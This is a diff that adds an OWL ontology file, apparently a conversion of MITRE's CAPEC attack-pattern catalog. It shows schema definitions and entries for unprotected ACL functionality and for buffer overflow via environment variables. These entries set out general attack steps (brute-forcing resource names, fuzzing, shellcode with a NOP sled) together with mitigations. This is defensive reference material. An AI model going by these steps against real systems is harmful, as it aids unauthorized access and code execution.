diff --git a/CAPEC.owx b/CAPEC.owx new file mode 100644 index 0000000..97b4918 --- /dev/null +++ b/CAPEC.owx @@ -0,0 +1,324730 @@ + + + + + + + + + + + + + + + #indTypeContent + Content + + + + + + + + + + + #indTypeFeedback + Feedback + + + + + + + + + + + #indExplore + Explore + + + + + + + #indExperiment + Experiment + + + + + + + #indExploit + Exploit + + + + + + + #indAbstractionEnumerationMeta + Meta + + + + + + + + + + + #indAbstractionEnumerationStandard + Standard + + + + + + + + + + + #indAbstractionEnumerationDetailed + Detailed + + + + + + + + + + + #indImportanceEnumerationNormal + Normal + + + + + + + + + + + #indImportanceEnumerationCritical + Critical + + + + + + + + + + + #indLikelihoodEnumerationHigh + High + + + + + + + + + + + #indLikelihoodEnumerationMedium + Medium + + + + + + + + + + + #indLikelihoodEnumerationLow + Low + + + + + + + + + + + #indLikelihoodEnumerationUnknown + Unknown + + + + + + + + + + + #indNoteTypeEnumerationMaintenance + Maintenance + + + + + + + + + + + #indNoteTypeEnumerationRelationship + Relationship + + + + + + + + + + + #indNoteTypeEnumerationResearchGap + Research Gap + + + + + + + + + + + #indNoteTypeEnumerationTerminology + Terminology + + + + + + + + + + + #indNoteTypeEnumerationOther + Other + + + + + + + + + + + #indRelatedNatureEnumerationChildOf + ChildOf + + + + + + + + + + + #indRelatedNatureEnumerationParentOf + ParentOf + + + + + + + + + + + #indRelatedNatureEnumerationCanFollow + CanFollow + + + + + + + + + + + #indRelatedNatureEnumerationCanPrecede + CanPrecede + + + + + + + + + + + #indRelatedNatureEnumerationCanAlsoBe + CanAlsoBe + + + + + + + + + + + #indRelatedNatureEnumerationPeerOf + PeerOf + + + + + + + + + + + #indScopeEnumerationConfidentiality + Confidentiality + + + + + + + + + + + #indScopeEnumerationIntegrity + Integrity + + + + + + + + + + + #indScopeEnumerationAvailability + Availability + + + + + + + + + + + #indScopeEnumerationAccessControl + Access Control + + + + + + + + + + + #indScopeEnumerationAccountability + Accountability + + + + + + + + + + + #indScopeEnumerationAuthentication + Authentication + + + + + + + + + + + #indScopeEnumerationAuthorization + Authorization + + + + + + + + + + + #indScopeEnumerationNonRepudiation + Non-Repudiation + + + + + + + + + + + #indScopeEnumerationOther + Other + + + + + + + + + + + #indSeverityEnumerationVeryHigh + Very High + + + + + + + + + + + #indSeverityEnumerationHigh + High + + + + + + + + + + + #indSeverityEnumerationMedium + Medium + + + + + + + + + + + #indSeverityEnumerationLow + Low + + + + + + + + + + + #indSeverityEnumerationVeryLow + Very Low + + + + + + + + + + + #indSkillLevelEnumerationHigh + High + + + + + + + + + + + #indSkillLevelEnumerationMedium + Medium + + + + + + + + + + + #indSkillLevelEnumerationLow + Low + + + + + + + + + + + #indSkillLevelEnumerationUnknown + Unknown + + + + + + + + + + + #indStakeholderEnumerationAcademicResearchers + Academic Researchers + + + + + + + + + + + #indStakeholderEnumerationAppliedResearchers + Applied Researchers + + + + + + + + + + + #indStakeholderEnumerationAssessmentCustomers + Assessment Customers + + + + + + + + + + + #indStakeholderEnumerationAssessmentVendors + Assessment Vendors + + + + + + + + + + + #indStakeholderEnumerationCAPECTeam + CAPEC Team + + + + + + + + + + + #indStakeholderEnumerationEducators + Educators + + + + + + + + + + + #indStakeholderEnumerationInformationProviders + Information Providers + + + + + + + + + + + #indStakeholderEnumerationSoftwareCustomers + Software Customers + + + + + + + + + + + #indStakeholderEnumerationSoftwareDesigners + Software Designers + + + + + + + + + + + #indStakeholderEnumerationSoftwareDevelopers + Software Developers + + + + + + + + + + + #indStakeholderEnumerationSoftwareVendors + Software Vendors + + + + + + + + + + + #indStakeholderEnumerationOther + Other + + + + + + + + + + + #indStatusEnumerationDeprecated + Deprecated + + + + + + + + + + + #indStatusEnumerationDraft + Draft + + + + + + + + + + + #indStatusEnumerationIncomplete + Incomplete + + + + + + + + + + + #indStatusEnumerationObsolete + Obsolete + + + + + + + + + + + #indStatusEnumerationStable + Stable + + + + + + + + + + + #indStatusEnumerationUsable + Usable + + + + + + + + + + + #indTaxonomyMappingFitEnumerationExact + Exact + + + + + + + + + + + #indTaxonomyMappingFitEnumerationCAPECMoreAbstract + CAPEC More Abstract + + + + + + + + + + + #indTaxonomyMappingFitEnumerationCAPECMoreSpecific + CAPEC More Specific + + + + + + + + + + + #indTaxonomyMappingFitEnumerationImprecise + Imprecise + + + + + + + + + + + #indTaxonomyMappingFitEnumerationPerspective + Perspective + + + + + + + + + + + #indTaxonomyNameEnumerationATTACK + ATTACK + + + + + + + + + + + #indTaxonomyNameEnumerationWASC + WASC + + + + + + + + + + + #indTaxonomyNameEnumerationOWASPAttacks + OWASP Attacks + + + + + + + + + + + #indTechnicalImpactEnumerationModifyData + Modify Data + + + + + + + + + + + #indTechnicalImpactEnumerationReadData + Read Data + + + + + + + + + + + #indTechnicalImpactEnumerationUnreliableExecution + Unreliable Execution + + + + + + + + + + + #indTechnicalImpactEnumerationResourceConsumption + Resource Consumption + + + + + + + + + + + #indTechnicalImpactEnumerationExecuteUnauthorizedCommands + Execute Unauthorized Commands + + + + + + + + + + + #indTechnicalImpactEnumerationGainPrivileges + Gain Privileges + + + + + + + + + + + #indTechnicalImpactEnumerationBypassProtectionMechanism + Bypass Protection Mechanism + + + + + + + + + + + #indTechnicalImpactEnumerationHideActivities + Hide Activities + + + + + + + + + + + #indTechnicalImpactEnumerationAlterExecutionLogic + Alter Execution Logic + + + + + + + + + + + #indTechnicalImpactEnumerationOther + Other + + + + + + + + + + + #indViewTypeEnumerationImplicit + Implicit + + + + + + + + + + + #indViewTypeEnumerationExplicit + Explicit + + + + + + + + + + + #indViewTypeEnumerationGraph + Graph + + + + + + + + + + + #AttackPatternCatalog + The Attack_Pattern_Catalog root element is used to hold an enumerated catalog of common attack patterns. Each catalog can be organized by optional Views and Categories. The catalog also contains a list of all External_References that may be shared throughout the individual attack patterns. The required Name and Version attributes are used to uniquely identify the catalog. The required Date attribute identifies the date when this catalog was created or last updated. + + + + + + + #AttackPattern + An attack pattern is an abstraction mechanism for helping describe how an attack is executed. Each pattern defines a challenge that an attacker may face, provides a description of the common technique(s) used to meet the challenge, and presents recommended methods for mitigating an actual attack. Attack patterns help categorize attacks in a meaningful way in an effort to provide a coherent way of teaching designers and developers how their systems may be attacked and how they can effectively defend them. + + + + #AttackPattern + The required Description element represents a high level description of the attack pattern. The description should be no longer than a few sentences and should include how malicious input is initially supplied, the weakness being exploited, and the resulting negative technical impact. A full step by step description does not belong as part of the description, but rather in the optional Execution_Flow element. The optional Extended_Description element provides a place for additional details important to this attack pattern, but that are not necessary to convey the fundamental concept behind the attack pattern. The optional Typical_Severity element is used to capture an overall average severity value for attacks that leverage this attack pattern with the understanding that it will not be completely accurate for all attacks. The optional Likelihood_Of_Attack element is used to capture an average likelihood that an attack that leverages this attack pattern will succeed with the understanding that it will not be completely accurate for all attacks. A number of other optional elements are available, each of which is described in more detail within the corresponding complexType that it references. + + + + #AttackPattern + The required ID attribute provides a unique identifier for the attack pattern. It is considered static for the lifetime of the entry. If this entry becomes deprecated, the identifier should not be reused and a placeholder for the deprecated attack pattern should be left in the catalog. The required Name attribute provides a descriptive title used to give the reader an idea of what the attack pattern represents. All words in the name should be capitalized except for articles and prepositions unless they begin or end the name. The required Abstraction attribute defines the abstraction level for this attack pattern. The required Status attribute defines the status level for this view. Please refer to the related simple types for a more detailed description of what information these attributes provide and a list of valid values and their meanings. + + + + + + + #AbstractionEnumeration + The AbstractionEnumeration simple type defines the different abstraction levels that apply to an attack pattern. A Meta level attack pattern in CAPEC is a decidedly abstract characterization of a specific methodology or technique used in an attack. A Meta attack pattern is often void of a specific technology or implementation and is meant to provide an understanding of a high level approach. A Meta level attack pattern is a generalization of related group of standard level attack patterns. Meta level attack patterns are particularly useful for architecture and design level threat modeling exercises. + + + + #AbstractionEnumeration + A Standard level attack pattern in CAPEC is focused on a specific methodology or technique used in an attack. It is often seen as a singular piece of a fully executed attack. A Standard attack pattern is meant to provide sufficient details to understand the specific technique and how it attempts to accomplish a desired goal. A Standard level attack pattern is a specific type of a more abstract meta level attack pattern. + + + + #AbstractionEnumeration + A Detailed level attack pattern in CAPEC provides a low level of detail, typically leveraging a specific technique and targeting a specific technology, and expresses a complete execution flow. Detailed attack patterns are more specific than meta and standard attack patterns and often require a specific protection mechanism to mitigate actual attacks. A Detailed level attack pattern often will leverage a number of different standard level attack patterns chained together to accomplish a goal. + + + + + + + #StatusEnumeration + The StatusEnumeration simple type defines the different status values that an entity (view, category, attack pattern) can have. + + + + + + + #LikelihoodEnumeration + The LikelihoodEnumeration simple type contains a list of values corresponding to different likelihoods. The value "Unknown" should be used when the actual likelihood of something occurring is not known. + + + + + + + #SeverityEnumeration + The SeverityEnumeration simple type contains a list of values corresponding to different severities. + + + + + + + #RelatedAttackPattern + The RelatedAttackPatternType complex type is used to refer to other attack patterns and give insight to similar items that may exist at higher and lower levels of abstraction. It contains one or more Related_Attack_Pattern elements, each of which is used to link to the CAPEC identifier of the other attack pattern. The nature of the relation is also capture by the Nature attribute. Please see the RelatedNatureEnumeration simple type definition for details about the valid values and meanings. Special cases may require any number of Exclude_Related elements to capture the CAPEC identifier of an ancestor for which this Related_Attack_Pattern relationship is not applicable. + + + + + + + #RelatedNatureEnumeration + The RelatedNatureEnumeration simple type defines the different values that can be used to define the nature of a related attack pattern. A ChildOf nature denotes a related attack pattern as a higher level of abstraction. A ParentOf nature denotes a related attack pattern as a lower level of abstraction. The CanPrecede and CanFollow relationships are used to denote attack patterns that are part of a chaining structure. The CanAlsoBe relationship denotes a attack pattern that, in the proper environment and context, can also be perceived as the target attack pattern. Note that the CanAlsoBe relationship is not necessarily reciprocal. The PeerOf relationship is used to show some similarity with the target attack pattern which does not fit any of the other types of relationships. + + + + + + + #AttackStep + The ExecutionFlowType complex type is used to provide a detailed step by step flow of an attack pattern. It lists the steps typically performed by an adversary when leveraging the given technique. This element is usually only applicable to attack patterns with an abstraction level of detailed. + + + + + + + #Skill + The SkillsType complex type is used to describe the level of skills or specific knowledge needed by an adversary to execute this type of attack. + + + + + + + #SkillLevelEnumeration + The SkillLevelEnumeration simple type contains a list of values corresponding to different knowledge levels required to perform an attack. The value "Unknown" should be used when the actual skill level is not known. + + + + + + + #Consequence + The ConsequencesType complex type is used to specify individual consequences associated with an attack pattern. The required Scope element identifies the security property that is violated. The optional Impact element describes the technical impact that arises if an adversary succeeds in their attack. The optional Likelihood element identifies how likely the specific consequence is expected to be seen relative to the other consequences. For example, there may be high likelihood that a pattern will be used to achieve a certain impact, but a low likelihood that it will be used to achieve a different impact. The optional Note element provides additional commentary about a consequence. + + + + #Consequence + The optional Consequence_ID attribute is used by the internal CAPEC team to uniquely identify consequences that are repeated across any number of individual patterns. To help make sure that the details of these common consequences stay synchronized, the Consequence_ID is used to quickly identify those examples across CAPEC that should be identical. The identifier is a string and should match the following format: CC-1. + + + + + + + #ScopeEnumeration + The ScopeEnumeration simple type defines the different areas of software security that can be affected by exploiting a weakness. + + + + + + + #TechnicalImpactEnumeration + The ImpactEnumeration simple type defines the different negative technical impacts that can results from an attack leveraging a given attack pattern. A negative technical impact is the specific effect of successfully violating a reasonable security policy for the system or network. + + + + + + + #TaxonomyMapping + The TaxonomyMappingsType complex type is used to provide a mapping from an entry (Attack Pattern or Category) in CAPEC to an equivalent entry in a different taxonomy. The required Taxonomy_Name attribute identifies the taxonomy to which the mapping is being made. The Entry_ID and Entry_Name elements identify the ID and name of the entry which is being mapped. The Mapping_Fit element identifies how close the CAPEC is to the entry in the taxonomy. + + + + + + + #TaxonomyNameEnumeration + The TaxonomyNameEnumeration simple type lists the different known taxomomies that can be mapped to CAPEC. + + + + + + + #ContentHistory + The ContentHistoryType complex type provides elements to keep track of the original author of an entry and any subsequent modifications to the content. The optional Submission element is used to identify the submitter, their organization, the date, and any comments related to an entry. The optional Modification element is used to identify a modifier's name, organization, the date, and any related comments. A new Modification element should exist for each change made to the content. Modifications that change the meaning of the entry, or how it might be interpreted, should be marked with an importance of critical to bring it to the attention of anyone previously dependent on the attack pattern. The optional Contribution element is used to identify a contributor's name, organization, the date, and any related comments. This element has a single Type attribute, which indicates whether the contribution was part of general feedback given or actual content that was donated. The optional Previous_Entry_Name element is used to describe a previous name that was used for the entry. This should be filled out whenever a substantive name change occurs. The required Date attribute lists the date on which this name change was made. A Previous_Entry_Name element should align with a corresponding Modification element. + + + + + + + + + + + + + #Reference + The ReferencesType complex type contains one or more reference elements, each of which is used to link to an external reference defined within the catalog. The required External_Reference_ID attribute represents the external reference entry being linked to (e.g., REF-1). Text or quotes within the same entity can cite this External_Reference_ID similar to how a footnote is used, and should use the format [REF-1]. The optional Section attribute holds any section title or page number that is specific to this use of the reference. + + + + + + + #Note + The NotesType complex type contains one or more note elements, each of which is used to provide any additional comments about an entry that cannot be captured using other elements. + + + + + + + #NoteTypeEnumeration + The NoteTypeEnumeration simple type defines the different types of notes that can be associated with an attack pattern. A "Maintenance" note contains significant maintenance tasks within this entry that still need to be addressed, such as clarifying the concepts involved or improving relationships. A "Relationship" note provides clarifying details regarding the relationships between entities. A "Research Gap" note identifies potential opportunities for the research community to conduct further exploration of issues related to this attack pattern. A "Terminology" note contains a discussion of terminology issues related to this attack pattern, or clarifications when there is no established terminology, or if there are multiple uses of the same key term. + + + + + + + + + + #AlternateTerm + The AlternateTermsType complex type indicates one or more other names used to describe this attack pattern. The required Term element contains the actual alternate term. The required Description element provides context for each alternate term by which this attack pattern may be known. + + + + + + + #Category + A category in CAPEC is a collection of attack patterns based on some common characteristic. More specifically, it is an aggregation of attack patterns based on effect/intent. (as opposed to actions or mechanisms, such an aggregation would be a meta attack pattern) An aggregation based on effect/intent is not an actionable attack and as such is not a pattern of attack behavior. Rather, it is a grouping of patterns based on some common criteria. + + + + #Category + The required Summary element should be short and limited to the key points that define the category. The optional Relationships element is used to define relationships with attack patterns, categories, and views. The optional Taxonomy_Mappings element is used to relate this category to similar categories in taxomomies outside of CAPEC. The optional References element is used to provide further reading and insight into this category. This should be used when the category is based on external sources or projects. The optional Notes element is used to provide any additional comments that cannot be captured using the other elements of the category. The optional Content_History element is used to keep track of the original author of the category and any subsequent modifications to the content. This provides a means of contacting the authors and modifiers for clarifying ambiguities, merging overlapping contributions, etc. + + + + #Category + The required ID attribute provides a unique identifier for the category. It is meant to be static for the lifetime of the category. In the event that the category becomes deprecated, the identifier should not be reused and a placeholder for the deprecated category should be left in the catalog. The required Name attribute provides a descriptive title used to give the reader an idea of what characteristic this category represents. All words in the name should be capitalized except for articles and prepositions unless they begin or end the name. The required Status attribute defines the status level for this category. Please refer to the StatusEnumeration simple type for a list of valid values and their meanings. + + + + + + + #View + A view in CAPEC represents a perspective with which one might look at the collection of attack patterns defined within CAPEC. There are three different types of views as defined by the Type attribute: graphs, explicit slices, and implicit slices. + + + + #View + The required Objective element describes the perspective from which the view has been constructed. The optional Audience element provides a reference to the target stakeholders or groups for whom the view is most relevant. The members of a view are either defined externally through memberOf relationships (in the case of a graph or an explict slice, see the relationships elements of categories) or by the optional Filter element (in the case of an implict slice). The Filter element holds an XSL query for identifying which attack patterns are members of an implicit slice. The optional References element is used to provide further reading and insight into this view. This should be used when the view is based on external sources or projects. The optional Notes element is used to provide any additional comments that cannot be captured using the other elements of the view. The optional Content_History element is used to keep track of the original author of the view and any subsequent modifications to the content. This provides a means of contacting the authors and modifiers for clarifying ambiguities, merging overlapping contributions, etc. + + + + #View + The required ID attribute provides a unique identifier for the view. It is meant to be static for the lifetime of the view. In the event that the view becomes deprecated, the identifier should not be reused and a placeholder for the deprecated view should be left in the catalog. The required Name attribute provides a descriptive title used to give the reader an idea of what perspective this view represents. All words in the name should be capitalized except for articles and prepositions unless they begin or end the name. The required Type attribute describes how this view is being constructed. Please refer to the ViewTypeEnumeration simple type for a list of valid values and their meanings. The required Status attribute defines the status level for this view. Please refer to the StatusEnumeration simple type for a list of valid values and their meanings. + + + + + + + #ViewTypeEnumeration + The ViewTypeEnumeration simple type defines the different types of views that can be found within CAPEC. A graph is a hierarchical representation of attack patterns based on a specific vantage point that a user my take. The hierarchy often starts with a category, followed by a meta/standard attack pattern, and ends with a detailed attack pattern. An explicit slice is a subset of attack patterns that are related through some external factor. For example, a view may be used to represent mappings to external groupings like a Top-N list. An implicit slice is a subset of attack patterns that are related through a specific attribute. For example, a slice may refer to all attack patterns in draft status, or all existing meta attack patterns. + + + + + + + #ExternalReference + The ExternalReferenceType complex type defines a collection of elements that provide a pointer to where more information and deeper insight can be obtained. Examples would be a research paper or an excerpt from a publication. + + + + #ExternalReference + Not all of the elements need to be used, since some are designed for web references and others are designed for book references. The Author and Title elements should be filled out for all references if possible; Author is optional, but Title is required. The optional Edition element identifies the edition of the material being referenced in the event that multiple editions of the material exist. If the reference is part of a magazine or journal, the Publication element should be used to identify the name of the publisher. The optional Publication_Year, Publication_Month, Publication_Day, and Publisher elements should be used to more specifically identify the publication via its date and publisher. The year must follow the YYYY format while the month must follow the --MM format and the day must follow the ----DD format. The URL and URL_Date elements are used to capture a URL for the material being referenced, if one exists, and the date when the URL was validated to exist. + + + + #ExternalReference + The required Reference_ID attribute exists to provide a globally unique identifier for the reference (e.g., REF-1). The ID is used by other entities to link to this external reference. + + + + + + + #indAttackPatternCatalogCAPEC + CAPEC + + + + + + + + + CAPEC + + + + + 3.9 + + + + + 2023-01-24 + + + + + + + + + + + + #CAPEC-1 + Accessing Functionality Not Properly Constrained by ACLs + + + + + + + + + 1 + + + + + Accessing Functionality Not Properly Constrained by ACLs + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern18 + Related_Attack_Pattern_18 + + + + + + + + + + + + + + 122 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19 + Related_Attack_Pattern_19 + + + + + + + + + + + + + + 17 + + + + + + + + + + + + #indAttackStepAttackStep22 + Attack_Step_22 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey] The attacker surveys the target application, possibly as a valid and authenticated user</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Spidering web sites for all available links</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Brute force guessing of resource names</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Brute force guessing of user names / credentials</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Brute force guessing of function names / actions</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep31 + Attack_Step_31 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify Functionality] At each step, the attacker notes the resource or functionality access mechanism invoked upon performing specific actions</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use the web inventory of all forms and inputs and apply attack data to those inputs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a packet sniffer to capture and record network traffic</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Execute the software in a debugger and record API calls into the operating system or important libraries. This might occur in an environment other than a production environment, in order to find weaknesses that can be exploited in a production environment.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39 + Attack_Step_39 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Iterate over access capabilities] Possibly as a valid user, the attacker then tries to access each of the noted access mechanisms directly in order to perform functions not constrained by the ACLs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Fuzzing of API parameters (URL parameters, OS API parameters, protocol parameters)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application must be navigable in a manner that associates elements (subsections) of the application with ACLs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The various resources, or individual URLs, must be somehow discoverable by the attacker</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The administrator must have forgotten to associate an ACL or has associated an inappropriately permissive ACL with a particular navigable resource.</xhtml:div> + + + + + + + + + + + + #indSkillSkill52 + Skill_52 + + + + + + + + + + + + + + In order to discover unrestricted resources, the attacker does not need special tools or skills. They only have to observe the resources or access mechanisms invoked as each action is performed and then try and access those access mechanisms directly. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence58 + Consequence_58 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In a J2EE setting, administrators can associate a role that is impossible for the authenticator to grant users, such as "NoAccess", with all Servlets to which access is guarded by a limited number of servlets visible to, and accessible by, the user.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Having done so, any direct access to those protected Servlets will be prohibited by the web container.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In a more general setting, the administrator must mark every resource besides the ones supposed to be exposed to the user as accessible by a role impossible for the user to assume. The default security setting must be to deny access and then grant access only to those resources intended by business logic.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Implementing the Model-View-Controller (MVC) within Java EE's Servlet paradigm using a "Single front controller" pattern that demands that brokered HTTP requests be authenticated before hand-offs to other Action Servlets.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If no security-constraint is placed on those Action Servlets, such that positively no one can access them, the front controller can be subverted.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 276 + + + + + 285 + + + + + 434 + + + + + 693 + + + + + 732 + + + + + 1191 + + + + + 1193 + + + + + 1220 + + + + + 1297 + + + + + 1311 + + + + + 1314 + + + + + 1315 + + + + + 1318 + + + + + 1320 + + + + + 1321 + + + + + 1327 + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowServicesFilePermissionsWeakness + Hijack Execution Flow: ServicesFile Permissions Weakness + + + + + + + + + + + + + + 1574.010 + + + + + Hijack Execution Flow: ServicesFile Permissions Weakness + + + + + + + + + + + + #indContentHistoryContentHistory102 + Content_History_102 + + + + + + + + + + + + + + + + #indSubmissionSubmission103 + Submission_103 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification108 + Modification_108 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Pattern, References + + + + + + + + + + + + #indModificationModification114 + Modification_114 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Pattern, Description Summary + + + + + + + + + + + + #indModificationModification120 + Modification_120 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Weaknesses, Skills_Required, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification126 + Modification_126 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification132 + Modification_132 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification138 + Modification_138 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification144 + Modification_144 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-10 + Buffer Overflow via Environment Variables + + + + + + + + + 10 + + + + + Buffer Overflow via Environment Variables + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the adversary finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Although the focus of this attack is putting excessive content into an environment variable that is loaded into a buffer, environment variables can be used to assist a classic buffer overflow attack as well. In the case where the buffer used in a traditional buffer overflow attack is not large enough to store the adversary's shell code, they will store the shell code in an environment variable and attempt to return to its address, rather than back into the data they wrote to the buffer.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern159 + Related_Attack_Pattern_159 + + + + + + + + + + + + + + 100 + + + + + + + + + + + + #indAttackStepAttackStep162 + Attack_Step_162 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target application] The adversary identifies a target application or program to perform the buffer overflow on. In this attack the adversary looks for an application that loads the content of an environment variable into a buffer.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep167 + Attack_Step_167 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find injection vector] The adversary identifies an injection vector to deliver the excessive content to the targeted application's buffer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Change the values of environment variables thought to be used by the application to contain excessive data. If the program is loading the value of the environment variable into a buffer, this could cause a crash and an attack vector will be found.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep173 + Attack_Step_173 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft overflow content] The adversary crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary crafts the payload in such a way that the overwritten return address is replaced with one of the adversary's choosing.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create malicious shellcode that will execute when the program execution is returned to it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep180 + Attack_Step_180 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Overflow the buffer] Using the injection vector, the adversary injects the crafted overflow content into the buffer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application uses environment variables.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An environment variable exposed to the user is vulnerable to a buffer overflow.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The vulnerable environment variable uses untrusted data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Tainted data used in the environment variables is not properly validated. For instance boundary checking is not done before copying the input data to a buffer.</xhtml:div> + + + + + + + + + + + + #indSkillSkill193 + Skill_193 + + + + + + + + + + + + + + An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS. + + + + + + + + + + + + #indSkillSkill194 + Skill_194 + + + + + + + + + + + + + + Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the application does bound checking, it should fail when the data source is larger than the size of the destination buffer. If the application's code is well written, that failure should trigger an alert.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence200 + Consequence_200 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence204 + Consequence_204 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence211 + Consequence_211 + + + + + + + + + + + + + + + + + + + + + + 